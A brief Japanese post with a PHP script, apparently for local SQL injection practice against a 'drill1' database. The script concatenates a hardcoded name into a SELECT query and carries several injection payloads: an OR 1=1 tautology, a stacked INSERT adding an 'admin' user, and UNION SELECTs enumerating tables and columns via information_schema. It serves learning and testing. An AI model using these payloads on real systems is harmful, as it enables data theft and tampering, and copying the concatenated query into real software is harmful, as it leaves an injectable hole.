SQLインジェクション用のPHPコードを書いた

気兼ねなくテストしたく。

<?php
require_once "./lib/h.php";
require_once "./config.php";    /* 設定ファイル */

$dsn = "mysql:host=localhost;dbname=drill1;" .
    "charset=utf8";
try {

    /* 接続 */
    $db = new PDO($dsn, $user, $pass);

    /* 
    falseにしないとprepare()でクエリを生成しても
    静的プレースホルダが使用されない
    */
    $db->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);

    /* クエリの生成 */
    //$name = "gajin";
    $name = "\" OR 1=1-- ";
    //$name = "1\"; INSERT INTO union_user SET name=\"admin\"";
    //$name = "\" UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schema = database();-- ";
    //$name = "\" UNION SELECT 1, column_name FROM information_schema.columns WHERE table_name=\"union_user\";-- ";
    $sql = "SELECT * FROM union_user " .
        "WHERE name = \"" . $name . "\"";

    /* クエリ実行 & レコードの取得 */
    $stmt = $db->query($sql);
    if ($stmt) {
        if ($stmt->rowCount() > 0) {
            $rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
            foreach ($rows as $r) {
                echo h($r["id"]) . " | " . h($r["name"]) . "\n";
            }
        }
    } else {
        die("Invalid query");
    }

} catch (PDOException $e) {
    echo $e->getMessage() . "<br>";
}